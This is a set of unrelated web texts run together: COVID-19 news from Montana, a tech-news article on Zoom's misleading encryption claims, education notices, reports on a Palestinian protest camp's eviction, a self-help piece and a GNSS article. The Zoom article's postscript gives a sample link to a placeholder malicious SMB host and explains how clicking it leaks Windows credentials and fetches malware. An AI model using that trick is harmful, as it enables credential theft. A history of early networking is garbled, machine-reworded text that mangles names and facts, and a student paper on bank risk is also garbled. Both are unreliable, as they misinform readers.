Montana’s health department reported 360 new COVID-19 cases Friday. Gallatin County health officials say it feels like we’re hanging onto the ride right now rather than working together to eliminate the illness.
Gallatin County Health Officer Matt Kelley Friday said the county’s seven day rolling average of new daily cases was 53 percent higher than the week before.
He said the health department can’t slow the spread of the illness on its own.
“When you’re getting 65, 68 cases a day in a community this size, that’s really indicating that we have a substantial number of cases that we’re probably not detecting," Kelley said. "We’re still doing it; we’re still working hard.”
Kelley said Gallatin County is continuously on-boarding people to help with contact tracing. Currently the health department has 11 full time contact tracers and other nurses to help make calls seven days a week.
But with nearly 200 active cases, he said, “We’re not going to stop it through contact tracing when it gets to be this size.”
State health officials and hospital administrators made a plea Wednesday for help flattening the curve ahead of the flu season, when hospital beds typically fill up and resources are stretched thin.
"Frankly, we need help from elected leaders; we need help from business leaders; we need help from faith leaders. We need help across the board from people to step forward, be vocal and say, 'It’s time that we really take this seriously; we really wear those masks, do social distancing,'" Kelley said.
"If you’re planning an event, you’re going to have a large number of people, we need people to really rethink that and really think carefully about how they’re going to do that," he added.
Kelley said he understands that going into quarantine or isolation can be difficult and disruptive to peoples’ lives, especially when their symptoms are mild. But he said if you’re a contact, part of your civic duty is to stay home.
Kelley added the health department has resources in communities across Gallatin County to deliver food and medicine, and help with unemployment assistance.
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Zoom's end-to-end encryption isn't actually end-to-end at all. Good thing the PM isn't using it for Cabinet calls. Oh, for f...
UK Prime Minister Boris Johnson sparked security concerns on Tuesday when he shared a screenshot of “the first ever digital Cabinet” on his Twitter feed. It revealed the country’s most senior officials and ministers were using bog-standard Zoom to discuss critical issues facing Blighty.
The tweet also disclosed the Zoom meeting ID was 539-544-323, and fortunately that appears to have been password protected. That's a good thing because miscreants hijacking unprotected Zoom calls is a thing.
Crucially, the use of the Zoom software is likely to have infuriated the security services, while also raising questions about whether the UK government has its own secure video-conferencing facilities. We asked GCHQ, and it told us that it was a Number 10 issue. Downing Street declined to comment.
The decision to use Zoom, as millions of others stuck at home during the coronavirus outbreak are doing, comes as concerns are growing about the conferencing app's business model and security practices.
Most notably, the company has been forced to admit that although it explicitly gives users the option to hold an “end-to-end encrypted” conversation and touts end-to-end encryption as a key feature of its service, in fact it offers no such thing.
Specifically, it uses TLS, which underpins HTTPS website connections and is significantly better than nothing. But it most definitely is not end-to-end encryption (E2E). E2E ensures all communications are encrypted between devices so that not even the organization hosting the service has access to the contents of the connection. With TLS, Zoom can intercept and decrypt video chats and other data.
When we say end-to-end...
Despite Zoom offering a meeting host the option to “enable an end-to-end (E2E) encrypted meeting,” and providing a green padlock that claims “Zoom is using an end to end encrypted connection,” it appears that the company is able to access data in transit along that connection, and can also be compelled to provide it to governments. So, it's not E2E.
Yeah, that Zoom app you're trusting with work chatter? It lives with 'vampires feeding on the blood of human data'READ MORE
While that is not something that will bother most Zoom users, whose conversations are not highly sensitive nor confidential, for something like a UK Cabinet meeting, the lack of true end-to-end encryption is dangerous.
Under questioning, a Zoom spokesperson admitted: “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”
Then they gave their own Zoom version of what the phrase “end-to-end encryption” actually means: “When we use the phrase ‘End to End’ in our other literature, it is in reference to the connection being encrypted from Zoom end point to Zoom end point,” a spokesperson told The Intercept on Tuesday.
The use of “end point” in this context refers to Zoom servers, not just Zoom clients; a second layer of purposefully misleading semantics.
So when we say user privacy...
That’s not the only area where Zoom has been found wanting. As a spotlight has swung on the biz thanks to its enormous take-up in recent weeks, its dodgy data sharing policies were also revealed.
As we reported earlier this month, Zoom granted itself the right to mine your personal data and conference calls to target you with ads, and seemed to have a "creepily chummy" relationship with tracking-based advertisers.
Personal information gathered by the company included, but was not limited to, names, addresses and any other identifying data, job titles and employers, Facebook profiles, and device specifications. It also included "the content contained in cloud recordings, and instant messages, files, whiteboards ... shared while using the service."
In other words, it was, arguably, the Facebook of the video-conferencing world, sucking every piece of data it can from you and any device you install it on.
Zoom also stupidly glomed users together, as if they were working for the same company, because they used a common email provider, such as xs4all.nl.
“The growing demand for Zoom’s services makes it a target for third parties, from law enforcement to malicious hackers, seeking personal data and sensitive information,” said Access Now’s general counsel Peter Micek. “This is why just disclosing privacy policies is not enough – it’s high time for Zoom to tell us how they protect our personal lives and professional activities from exploitation. This starts with a regular transparency report.”
The Facebook API kerfuffle resulted in a lawsuit [PDF], filed on Monday in California. The plaintiff in this case, Robert Cullen of Sacramento, California, is looking to bring a class action against Zoom for failing to protect personal data.
He argued Zoom has violated three Californian laws: the Unfair Competition Law, Consumers Legal Remedies Act, and Consumer Privacy Act by collecting and providing personal information to third parties including Facebook.
“Had Zoom informed its users that it would use inadequate security measures and permit unauthorized third-party tracking of their personal information, users would not have been willing to use the Zoom app,” the lawsuit argued.
In short, while Zoom’s ease of use, reliability and excellent user interface has made it a godsend for people stuck at home, the company continues to raise red flags about its honesty, its privacy policies and its business model. Something that a country’s head of government would do well to consider before posting screengrabs of online meetings. ®
It continued: "Your meetings are yours. We do not monitor them or even store them after your meeting is done unless we are requested to record and store them by the meeting host ... We do not use data we obtain from your use of our services, including your meetings, for any advertising. We do use data we obtain from you when you visit our marketing websites, such as zoom.us and zoom.com. You have control over your own cookie settings when visiting our marketing websites."
It, thus, appears to have clarified, among other things, that it, at least now, does not use the content of meetings and messages to generate targeted advertising.
PS: Zoom has an attention-tracking feature, which can be turned on by a meeting host, that alerts the host if you click away from the Zoom conference for more than 30 seconds.
PPS: It appears you can snaffle people's Windows local login usernames and hashed passwords via Zoom by getting them to click on a URL in a chat message that connects to a malicious SMB file server. A link such as
\\evil.server.com\foorbar.jpg will, when clicked on, cause Windows to connect to
evil.server.com, supplying the logged-in user's credentials in hope of fetching
malware.exe and you could get code execution on the victim's computer.
- Black Hat
- Common Vulnerability Scoring System
- Cybersecurity and Infrastructure Security Agency
- Cybersecurity Information Sharing Act
- Data Breach
- Data Protection
- Data Theft
- Digital certificate
- Identity Theft
- Kenna Security
- Max Schrems
- Palo Alto Networks
- Trusted Platform Module
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Students at either Midlothian or Midlothian Heritage High Schools, interested in attending dual-credit technical programs may now receive support to offset the majority of the cost, thanks to a partnership between Texas State Technical College (TSTC), Midlothian Independent School District (MISD), and Midlothian Economic Development Corporation (MED).
Beginning in the fall of 2022, dual-credit courses in Diesel Technology, HVAC Technology, and Industrial Systems are being offered at TSTC’s North Texas campus located in Red Oak. Through the program, high school students will take one course per semester during their junior or senior years. After high school graduation, students will transition to TSTC full time where they can earn a certificate in the field of study in two semesters or an Associate of Applied Science degree in three semesters. Upon graduation, students will be positioned for some of the highest demand and better paying jobs in our region.
While students are required to pay their tuition, MISD pays for the facility, instruction, and transportation. Through a $140,000 grant provided by the MED and approved by Midlothian City Council, the first 30 students for each program will receive a free tool kit for the applicable program. Not only will these tools help students while attending TSTC, but as graduates, they also will be able to enter the workforce with the tools provided, rendering them more desirable job candidates. Tool kits range in cost from $710 to $2,700.
“New industrial development in Midlothian has prompted a growing need for a technical workforce,” said David Hurst, MED board chair. “MED was created by Midlothian voters to grow our local economy. Helping to fund job training is one of the ways we can do that,” he explained.
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Palestinian tent village in Jerusalem evicted despite court ruling
tony at cultureshop.org.uk
Mon Jan 14 19:06:51 GMT 2013
Israel evicts E1 Palestinian peace camp protesters
Israeli military detain activists in early
morning swoop on Bab al-Shams encampment despite supreme court ruling
Harriet Sherwood in Jerusalem - The Guardian -
Sunday 13 January 2013 11.56 GMT
The Israeli state has swung into action against a
group of Palestinian activists who established a
tent village on a rocky hillside east of
Jerusalem, with hundreds of security officials
carrying out an eviction under the orders of the
prime minister, Binyamin Netanyahu, in the early hours of Sunday morning.
According to activists, a large military force
surrounded the encampment at around 3am. All
protesters were detained and six were injured, said Abir Kopty.
On Saturday evening, Netanyahu demanded the
Israeli supreme court overturn an injunction
preventing the removal of the protesters, and
ordered the area to be declared a closed military zone.
Around 200 Palestinian activists set up the
village, named Bab al-Shams ("gate of the sun")
and comprising around 20 tents, early on Friday
morning on a highly sensitive swath of land known
as E1, which Israel has earmarked for settlement
development. The protesters' actions echoed the
tactics of radical settlers when establishing outposts in the West Bank.
The tents were erected on privately owned
Palestinian land, the protesters said, with the
full permission of the landowners. The activists
sought legal protection from the supreme court,
which granted an injunction against eviction and
gave the state of Israel up to six days to respond.
Following the eviction, the Popular Struggle
Co-ordinating Committee, which was involved in
setting up the camp, said the state's actions
were illegal because Bab al-Shams was established
on private land. "The action succeeded in
inspiring all the residents of the village as
well as Palestinians around the world. This is
not the end of the popular struggle."
Palestinian legislator Mustafa Barghouti, who was
among those detained, said the eviction was
"proof that the Israeli government operates an
apartheid system. Firstly it decided that supreme
court decisions do not apply to Palestinians. And
secondly, there are more than 120 Israeli
outposts in the West Bank that are illegal even
under Israeli law. Not only are they still there,
but they are expanding and they are being
legalised one after another. We were there for
less than 48 hours, and the state used violent
force against a non-violent peaceful resistance movement."
The protest was launched six weeks after
Netanyahu announced plans to press ahead with the
development of E1, triggering strong
international condemnation. The area, measuring
around 12 sq km, lies between Jerusalem and the
vast West Bank settlement of Ma'ale Adumim.
The Palestinian Authority and most western
diplomats say the development of E1 will damage
the prospects of a viable Palestinian state by
almost bisecting the West Bank, effectively
cutting it off from East Jerusalem, which is
intended to be the future capital of a Palestinian state.
Speaking on Israel army radio on Sunday,
Netanyahu said that planning for E1 is moving
ahead and that "there will be construction".
Asked why the protesters were removed, Netanyahu
said: "They have no reason to be there. I asked
immediately to close the area so people would not
gather there needlessly and generate friction and disrupt public order."
On Saturday, scores of Palestinian activists
visited the site, perched close to a Bedouin
encampment and within sight of a huge Israeli
police headquarters. Activists brewed sweet tea
and coffee on open fires, and volunteers manned a
medical centre in one tent. Rubbish was collected
by a team organised by a member of the seven-strong "village council".
Mahmoud Zawahra, a protest leader, described the
tent village as "constructive resistance".
"We are part of a non-violent resistance
movement. For us, this is occupied land so we
created a village to stop the Israeli plan to
build a settlement here," he said.
Another activist, Samir, who declined to give his
full name, said the protest had been organised
secretly. "We know the army follows us on Twitter
and Facebook, so we made out we were holding a protest somewhere else."
Activists were trained in non-violent resistance
techniques, he added. "This is not a Scout camp,
it is to empower Palestinians on the ground. We
know [the army] will come, and we are prepared."
Tha'ar Aniz, from nearby Azariya, said
temperatures had plummeted overnight. "It was
very cold. But if you want to be free, you have to withstand such things."
Israeli security forces prevented Palestinian
officials Hanan Ashrawi and Saeb Erekat from
visiting the site on Saturday. Earlier, Ashrawi
welcomed the establishment of Bab al-Shams,
saying: "This initiative is a highly creative and
legitimate non-violent tool to protect our land from Israeli colonial plans.
"We have the right to live anywhere in our state,
and we call upon the international community to
support such initiatives, as well as to protect
those who are being threatened by Israeli
occupation forces for exercising their right to
peaceful resistance against the illegal Israeli occupation."
This article was amended on 14 January 2013.
Activists were detained but not formally arrested. This has been corrected.
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Palestinians evicted from E1, east of Jerusalem,
less than 48 hours after beginning protest
Independent - Alistair Dawber - Jerusalem - Sunday 13 January 2013
A group of Palestinian protesters who had built a
tented village in a strategically important area
of the West Bank have been evicted by Israeli
police, less than 48 hours after beginning their action.
As many as 250 protesters were moved by the
police and members of the Israeli Defence Force
from the site in the area known as E1, east of
Jerusalem, which has been earmarked for development by Israeli settlers.
The Palestinians, borrowing a tactic from
settlers in the West Bank, moved into the area on
Friday saying that they wanted to establish
facts of the ground, a phase often used during
peace negotiations to recognise realities on the
ground, rather than historic claims to ownership of land.
The activists said that they wanted to build a
village called Bab al-Shams, or Gateway to the
Sun, at the site. The bid comes two weeks after
Benjamin Netanyahu, the Israeli Prime Minister,
said that Israel would press ahead with plans to
build a settlement in the area, in response to
the declaration at the United Nations of de facto
Palestinian statehood in November.
The UN declaration attracted support from most
nations, with Israel and the United States voting
against the bid - the UK government abstained.
The commitment by the Israeli government to build
settlements comes despite the area being
internationally recognised as occupied Palestinian territory.
Palestinians say furthermore, that construction
of a new settlement would seriously jeopardise
the prospects of a future Palestinian state, as
it would effectively cut off the West Bank from
East Jerusalem, which they have designated as
their capital city. The site cleared lies between
East Jerusalem and the existing Jewish settlement of Maale Adumin.
Palestinian activist, Abdullah Abu Rahma, said
that the protesters hoped to continue their
action, and would re-pitch their tents. Today,
we will see if we can return," he said. It is
thought that the Palestinians could also repeat
the move in other parts of the West Bank.
Israeli police spokesman Micky Rosenfeld said
police evicted the protesters from the site after
a court decision authorising their removal.
According to the Associated Press, he did not
know which court had allowed the eviction. Mr
Rosenfled said that there had been no injuries, a
point disputed by the Palestinians who said that
six people had been lightly hurt.
In a statement, the Popular Struggle Coordination
Committee, a grass-roots Palestinian group, said:
Even though we were evicted, our strength was
apparent since the police needed hundreds and
hundreds of special unit police officers.
Mr Netanyahu ordered that roads leading to the
area be closed on Saturday evening and instructed
the military to declare a closed military zone
and shut off access. The prime ministers office
added that the state was petitioning Israels
Supreme Court to rescind an earlier injunction
blocking the evacuation. On Friday, the Supreme
Court had given the protesters six days to dismantle their tents.
The issue of E1 settlement building has returned
in recent weeks, although many doubt that the
Israelis genuinely intend to build in the area,
rather it is being used as a general election
issue, with the polls now just over a week away.
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poison which alienates the possessor from the community" Carl Jung
Fear not therefore: for there is nothing covered
that shall not be revealed; and nothing hid that
shall not be made known. What I tell you in
darkness, that speak ye in the light and what ye
hear in the ear, that preach ye upon the housetops. Matthew 10:26-27
Die Pride and Envie; Flesh, take the poor's advice.
Covetousnesse be gon: Come, Truth and Love arise.
Patience take the Crown; throw Anger out of dores:
Cast out Hypocrisie and Lust, which follows whores:
Then England sit in rest; Thy sorrows will have end;
Thy Sons will live in peace, and each will be a friend.
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The very first Laptop networks were committed special-function methods for instance SABRE (an airline reservation system) and AUTODIN I (a protection command-and-Management system), both equally developed and applied while in the late nineteen fifties and early sixties. Through the early sixties Laptop brands experienced started to implement semiconductor technologies in industrial solutions, and both equally typical batch-processing and time-sharing methods were in place in several big, technologically Sophisticated firms. Time-sharing methods allowed a computer’s assets to generally be shared in quick succession with a number of customers, biking from the queue of customers so speedily that the computer appeared focused on Each individual person’s duties despite the existence of numerous Some others accessing the system “at the same time.” This led for the notion of sharing Laptop assets (termed host desktops or just hosts) above an entire network. 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Industrial packet networks were introduced while in the 1970s, but these were developed principally to deliver successful use of distant desktops by committed terminals. Briefly, they changed extended-distance modem connections by fewer-costly “virtual” circuits above packet networks. In The us, Telenet and Tymnet were two this kind of packet networks. Neither supported host-to-host communications; while in the 1970s this was however the province on the investigate networks, and it could remain so for a few years. DARPA (Protection State-of-the-art Research Initiatives Agency; formerly ARPA) supported initiatives for floor-primarily based and satellite-primarily based packet networks. The ground-primarily based packet radio system supplied cell use of computing assets, when the packet satellite network related The us with various European nations around the world and enabled connections with broadly dispersed and distant locations. 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Foundation of the Internet The online market place resulted from the trouble to attach various investigate networks in The us and Europe. Initially, DARPA proven a plan to analyze the interconnection of “heterogeneous networks.” This plan, termed Internetting, was determined by the recently introduced concept of open up architecture networking, where networks with outlined normal interfaces can be interconnected by “gateways.” A Functioning demonstration on the concept was prepared. To ensure that the concept to operate, a different protocol needed to be developed and created; in truth, a system architecture was also demanded. In 1974 Vinton Cerf, then at Stanford University in California, and this creator, then at DARPA, collaborated on a paper that initial explained this type of protocol and system architecture—particularly, the transmission Management protocol (TCP), which enabled different types of devices on networks all around the world to route and assemble knowledge packets. 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Do You Really Need to Be Gluten-Free?
According to a new study published in the Journal of the American Medical Association, the number of people in the U.S. going gluten-free more than tripled between 2009 and 2014. However, there was no increase in the number of Americans diagnosed with celiac disease, the inability to digest gluten, in that time. Researchers say this gap is due to a variety of reasons: self-diagnosed gluten sensitivity, the perception that a gluten-free diet might be healthier, the growing availability and affordability of gluten-free foods, and of course, the fact that it's trendy!
While the health benefits have yet to be proven, many people report feeling better after eliminating gluten from their diet. In a commentary accompanying the JAMA study, Daphne Miller, M.D., of the University of California, San Francisco, argues that this might be because they're cutting back on processed food or eating less grain in general, meaning gluten itself might not be the culprit. So bring on the homemade bread, pasta, and pizza! And if you need, or simply want, to avoid gluten, we've got you covered with glorious gluten-free appetizers, desserts, and everything in between. | <urn:uuid:bcb2d256-3360-46d4-ae6b-42befc60a845> | CC-MAIN-2022-33 | https://www.marthastewart.com/1505507/do-you-really-need-be-gluten-free | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571909.51/warc/CC-MAIN-20220813051311-20220813081311-00265.warc.gz | en | 0.950914 | 253 | 2.421875 | 2 |
RISK MANAGEMENT IN NIGERIAN BANKS: A CASE STUDY OF UNION BANK UYO
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For bank to be standard it must undertake investments it shows that the decision taken on portfolios management, specify accurately a unique sequence cash flow cannot be forecast accurately as it subjected to the occurrence of future events.
This determine the probability element in decision making, therefore risk arises in investment evaluation because occurrence of the possible event with certainty and consequently can not make any correct prediction about the cash flow system, much has been said in literature as performance of union bank. I will first attempt to bring the subject matters (Risk management in Nigeria banking institution).
Pandey (1981) defines risk as the potential hazard of the variability that is likely to occur in the feature returns of a project, he sees the project as being little risk free or highly risk. An investment in treasury bills for example has little or no risk associated with the, it is for this, has the very interest payable treasury bills is very or comparatively low. The interest paid on the investment in sick or share ranks higher than that of treasury bills because of the level of uncertainty of variability of feature returns.
Measurement of different method that is commonly used in the level of uncertainty of variability of feature returns standard deviation and co-efficient of variations, while conventional techniques used to measure the risk of the pay back period risk adjusted, discount rate, certainty equivalent, statistical method like probability assignment standard deviation and co-efficient of variation are also applicable in the management of risk.
Nwankwo, in the year 1999, he wrote a book on bank management principle and practices which appreciate the existence of the risk and need’s to be manage effectively. He defines risk as the possibility of loss injury, occur and in his estimation, risk is the main issues in business of banking, he classified risk into two categories. They include:
1 Fraud Risk
- Market Risk
1 FRAUD RISK: Fraud is deliberately deception or checking or unlawful gain by stealing, deceitful way, defrauding and embezzlement in spite of all these issuances schemes which is recently set up the federal government (NDIS) Nigeria Deposit insurance schemes, this form of risk is responsible for the case of bank failure so far witnessed Nigeria Banking system today.
2. MARKET RISK: Market risk is defined as transaction risk, which occur in form of an interest rate risk, earning risk, liquidity and foreign exchange risk.
Nwankwo went further to discuss risk management of risks.
- Objectives of Risk management
- Implementation as assignment of responsibility for managing the risk.
- Types of risk
1 Objectives of risk management is to take consideration of the observable risk under control which depend on the types of risk that is being considered for effective implementation which include three strategies.
a. Risk preventation and loss reduction
b. Risk transfer
c Risk retention
a. Risk Preventation And Loss Reduction:
This is measure adopted to prevent the occurrence of risk and minimize the loss, where by the risk has already occurred.
b. Risk Transfer:- This is the type of transfer to another financial institution like the insurance companies.
c. Risk Retention:- This is the type of risk bank will usually absorb or change to their profit and loss account. Having mapped out strategies the next stage would be the implementation and review.
To implement all, the department must work in harmony according to agreed standard. Uncoordinated approach can only lead to crises than earlier anticipated. All measured taken must be live with the management policies, which necessary adjustment, has been made to relate such polices to real life situation.
It is also necessary to assign responsibility for monitoring co-ordination, general appraisal and review.
While commenting on major financial risk Adekanye (1992) the element of banking recognized the need for banks to seek a harmony between risk rate of returns and liquidity, therefore in managing assets and liabilities banks must bear, sustained warning growth and control of exposure to financial risk, he identified these major financial risk as follows:
1 Liquidity Risk
2 Credit Risk
According to Adekanye, he affect the influence of market force upon the availability of funds, this create liquidity risk upon the movement of foreign exchange risks. Market processes are related to economic system of financial and political developments. To avert a crisis situation in the sources and uses of fund.
Hence the control and management of the market risk can be achieved by the following:-
a. Operation of active money market. Through the naira, money is not yet matured
b. Diversifying sources of funds, types of instrument and well articulated matching principles.
Furthermore, the probability is always there that credit which is extended to this form of risk, he recommended the divers to the nature of debtors and their need or location. Added to this is the maintenance of the standard of credit management. The needs for provision or bad debts are important in the acceptance of marketable assets securities.
Seminaries, customers need assurance that the bank is always in position to meet their cash document therefore the bank must to maintain the customer confidence that measure they must keep sufficient stock for liquid asset and as statutory liquidity ration must be observed in bank.
Analyzing risk, Mayo BPP 1990 Financial Management study text differentiate risk from uncertainty, accordingly risk occurs when it is unknown, the future outcome, when the various possible future outcome maybe expected with some decree of confidence of the knowledge of past or existing events. In the words probabilities of alternatives outcome can be estimated.
1 Business Risk
2 Financial Risk
Because risk is seen as that associated with a project undertaken, financial risk is considered as that which helps the company in the areas that may not be able to make sufficient profit after paying debts interest, to finance a satisfactory divided method or risk analyzing like using profitability analyzing for the cash low which is also considered.
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STUDY THROUGH THE BIBLE 5 TIMES IN 9 MONTHS
JOIN THE BIBLE SCHOOL THAT VALUES FUN
LEARN TO PASS ON WHAT
STUDY THE BIBLE THE FUN WAY
“Educational psychologists documented 13 different ways laughter increases learning. Fun is one of the foundational values of the SBS on the sunshine coast. I consider fun so important in learning, that Judy and I make the sunshine coast a yearly
learning trip. I recommend you do the same but stay for nine months to learn the whole Bible the fun way.”
— Ron Smith, Founder of SBS International
“SBS has been an amazing journey with Jesus. Learning more about Him and falling more in love with Him is what I want to do with my life. To be in the word of God is the best place for that.
He has shown me so much about his passionate love for mankind in the Bible. This is not only benefiting me but I can now share the word with everyone around me in a much better way.” -Lydia
“SBS has been challenging all the lies that I had been believing about myself and about God. He’s renewed my heart by showing me that He’s never changed, not once. Consistent in the Old and New Testament. Consistent even though my moods and feelings throw me every which direction. He is and has always been the most consistent thing in my life, and I can finally see that now. I’ve never been more in love.” -Teen
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The manual approach used in the regulation of the school activities by the management board is very tedious and stressful. This research work investigated into the complications encountered due to the debilitation of man-power admitted into the school management with respect to how indepth it affects other operational system that conduct in school with a view of designing a computerized system to handle the work with less difficulty for an effective decision-making.
In the course of the study, an existing system was digested and its deficiencies were detected and emphatically analysed, after which solutions to the problems were proffered in the new designed computerized system that is reliable and more interactive. The new system terminates all the problems experienced with the existing system. The case study is Post-Primary School Management Board (PPSMB) Enugu.
TABLE OF CONTENTS
1.1 Background of the study
1.2 Aims/objective of the project
1.3 Justification of the project
1.4 Scope of the study
2.0 Literature review
3.0 Overview of the existing system
3.1 Description and analysis of the existing system
3.2 Method of data collection
3.2.1 Interview Method
3.2.2 Reference to written text
3.3 Input analysis
3.4 Process analysis
3.5 Output analysis
3.6 Problems of the existing system
3.7 Justification for the new system
4.0 Design of the new system
4.1 Output specification and design
4.2 Input specification and design
4.3 File design
4.4 Procedure chart
4.5 System flowchart
4.6 System requirements
5.1 Program design
5.2 Program flowchart
5.3 Pseudo code
5.4 Source listing
5.5 Test run
7.0 Recommendation and conclusion
1.1 BACKGROUND OF THE STUDY
Education is an indispensable system on which the life of everyone is built and as well stimulates the entire life application. It could be referred to as a process designed for the acquisition and dissemination of skills and knowledge to the posterity of the nation. The identified system tends to be implemented in diverse dimensions basically in schools.
For the past ten years, it has been discovered that schools are not what they were as attributed to the wide ranging changes which have occurred and brought new pressure associated with increased size. On the account of this, an increasing complexity of organization has been instigated so that stresses and anxieties of choice have been added to those of dimension.
The competent educational administration constitute the intensity of education and its impediments mount a disturbing diffusion and obscuring of purpose and all these changes concede with a major recruiting of curriculum and methodology. In most cases, the manual method adopted in monitoring some school activities undermine other roles like enrolment of students, computation of student’s result, examination supervision and making of examination scripts.
With regard to the discrepancies created by the manual techniques of school administration, the school management board should devise a competitive means of achieving their set objective in a computerized educational administrative information system.
The basic aim of the study is to provide a lasting solution to the problems emanated from the manual means of school management. They are as follows:
- To produce a system which tends to increase the predictability of the organization by assessing critically its obsolescence in relation to fresh challenges.
- To produce a reliable system that would coordinate most of the school activities.
- To produce a flexible and comprehensive system that would meet up with the future development in the school.
- To design and develop a computerized system that would handle the execution of school activities most especially post-primary schools so as to liquidate all the problems identified with the existing system.
1.2.1 STATEMENT OF THE PROBLEM
The sudden increase in the number of students enroll in each school has transcended the manipulation of the existing system used by the school administrators and this prompted a lot of problems which encompass the inaccurate computation of students result by the staffs on the account of non-availability of adequate number of computer systems for the computation. This is a very ugly development. Also, it was very complicated to observe when the enrolment of students should cease since there was no efficient system for the estimation of enrolment ratio to give a signal when the enrolment tends to move beyond the projection. All these and more are encountered due to the debilitation of the prevailing system used. It was very difficult to point out students who cheat in the course of examination as attributed to the non-standard measure used in the supervision of the examination. The staff complained seriously on the unnecessary stress encountered while marking the examination answer scripts manually.
1.3 JUSTIFICATION OF THE STUDY
The implementation of this computerized system would definitely stimulate the school standard. This would as well help the management to ease the burden on the staff which would be on the benefit of students and staffs. It is also a basic study for research and for the entire populace and future researchers.
1.4 SCOPE OF THE STUDY
This study covered the substantive solution to the problems generated by the existing system used in the school administration and management. However, the case study is post-primary school management board (PPSMB) Enugu.
On account of time, she adopted only 2 procedures of capturing data for the study. Those 2 procedures encompass.
A) INTERVIEW METHOD:- During the interview conducted in the post-primary school management board. The research interviewed the director of school supervisor on the nature of duty conducted in schools she had supervised with special reference to the examination coordination and supervision, enrolment ratio for the admission of students in school. The director of administration department was equally interrogated based on the obligation and dereliction of the management board towards the growth of education observed in schools with little assistance from some of the staffs. The response to the questions enabled the researcher to take off.
B) REFERENCES TO WRITTEN DOCUMENT:- Inspite of the interview took place in the PPSMB, the researcher extended her collection of data to the written document as a result of inadequacy from the responsiveness of the interview. The researcher had to visit Enugu State and National Library for more information and references from already written text on educational administration varying more emphasis on school administration and management. The information from this specified method made the successful completion of this study possible. | <urn:uuid:dd4f81f9-abbc-44f5-b4b0-9e83976c33fa> | CC-MAIN-2022-33 | https://project.camppromat.com/967/DESIGN-AND-IMPLEMENTATION-OF-A-COMPUTERIZED-EDUCATIONAL-ADMINISTRATIVE-INFORMATION-SYSTEM-A-CASE-STUDY-OF-POST-PRIMARY-SCHOOL-MANAGEMENT-BOARD--PPSMB- | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571909.51/warc/CC-MAIN-20220813051311-20220813081311-00265.warc.gz | en | 0.946325 | 1,399 | 2.046875 | 2 |
What are you DOING with you?
by Pegine Echevarria
What is important in your life is not who you are, but rather it is what are you doing with you? If you want your staff or your team to grow and evolve, you need to be their role model. Have you asked the questions: “Where do I want to be within the next five years?” “Where do I want our division to be? My team to be? My family to be?” You may have done strategic planning and worked out the strategies and processes that your organisation will do to achieve your goals but have you asked yourself: “What do I need to do? How do I need to change to be more effective to reach my goals?”
I have been studying Thomas J. Stanley’s work. He is the author of The Millionaire Next Door and The Millionaire Mind. He states: “If you love what you are doing, your productivity will be high and your specific form of creative genius will emerge.” He goes on to share that millionaires plan their work and work their plan.
Most days I love what I do. Yet even though I love what I do, there are certain tasks that are not on my top ten list of favourite activities. Over time, and with my coach, I have developed a daily progress plan that enables me to plan my tasks and progressively move forward. This plan looks at key areas that I need to address each day:
1. Income producing activities
2. Physical health
3. Emotional health (relationships, self love)
4. Intellectual development
5. Fiscal accountability
By ensuring that I address each area every day, I know I am progressing and moving in the right direction. I may not be perfect but I am progressing. How about you?
Are you progressing? When you review where you were in January and where you are today, do you see progress? Or have you been dedicating your time to other endeavours: children, husband, wife, work and not paying attention to the quality of your life?
You may be saying, “But you don’t understand what my life is like.” I have been guilty of looking at other people’s lives and assuming they did not have the same issues as me. There is a saying, “Do not compare your insides with another’s outsides.” We all have challenges. Babies, toddlers, teens, husbands, wives, high pressure jobs, no jobs, home to care for, sick parents, meddling parents, bills, debt and the list goes on and on.
So what, in five years you will be five years older, circumstances will change and you will still be waiting for the right time to learn something new, prepare yourself for a promotion, open a business or learn to ride a motorcycle.
By focusing a little on the little tasks within the categories outlined above, in five years you will have a life and career beyond your wildest imagination.
When was the last time you read your company’s mission statement or asked how your job aligns with the goals of the company? Ask and learn. Sit down with your boss and ask what tasks and objectives within your job description are key to meeting the organisation’s goals.
Then, on a daily basis plan your day towards increasing your effectiveness at work according to the organisation’s goals.
How is this an income-producing activity?
1. Your boss notices that you read the organisational objectives and are looking to support those objectives within your job responsibilities. You are one step ahead for a promotion or a raise.
2. When it is time to share your accomplishments with your manager, supervisor or boss you can prove that over time you have focused on organisational goals. You have integrity. You said what you wanted to do and followed through. You are one step ahead for a promotion or a raise.
3. During your work you have created processes and applications that helped you streamline your work thereby increasing your effectiveness. You share your processes and applications with your boss who in turn notices your increased productivity. She has others implement your processes and applications increasing their productivity, which in turns impact revenue and profits. You are one step ahead for a promotion or a raise.
In other words your income-producing activities increased your ability to earn more money through raises and/or promotions.
Cut and paste this in a document and plan your tomorrow, today. Why wait? What action steps will you take tomorrow? Plan them today.
Income-Producing Activities (activities that will generate sales, a raise, a promotion)
Physical (an action that will make you stronger, healthier and more energetic)
Emotional (actions that will make you feel calm, or release you from anxiety/worry/fear, an action that will make you feel capable, worthwhile, loveable and/or confident)
Spiritual (an action that will connect you with God/Spirit/Universe/Higher Power)
Intellectual (actions that will cause you to stretch your mind — learn something new, read a book, work on a mind problem)
Fiscal (actions that take care of your fiscal well being such as balancing your checkbook, checking your credit report, logging your expenses and income, paying bills)
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Endrich , SEEIM - issue 3, 2017
GNSS (Global Navigation Satellite System) receivers in the Endrich delivery program
dipl. Ing. Zoltan Kiss Eastern European Sales Manager
Endrich Bauelemente Vertriebs GmbH
Global navigation is becoming more and more standard in the traffic, cars are equipped with ex-factory or aftermarket receivers, aircrafts, ships and boats are using GNSS to navigate and also the precision agriculture requires this technology to navigate the heavy equipments like harvesters in order to define the yield map of the area being harvested.
GNSS is the generic name of SAT based navigation systems that are providing autonomous geo-spatial positioning. There are number of networks that use their own satellites in combination with the associated earth stations in order to transmit correct positioning and timing data. All these systems that are global are collected under the name of GNSS. We would like to shortly show them in this article as well as some special devices, that could be used in receiver applications, like smart antennas, complete GNSS/TMC modules and receivers, being able to use the advantage of interoperability between different systems in order to maximize the performance of the navigation.
GPS: GPS was created originally for military purposes and run with 24 satellites. It became fully operational in 1994 also for civil and commercial users around the world. It is run by the United States government and is freely accessible to anyone with an appropriate receiver. By today it has more than 30 available satellites.
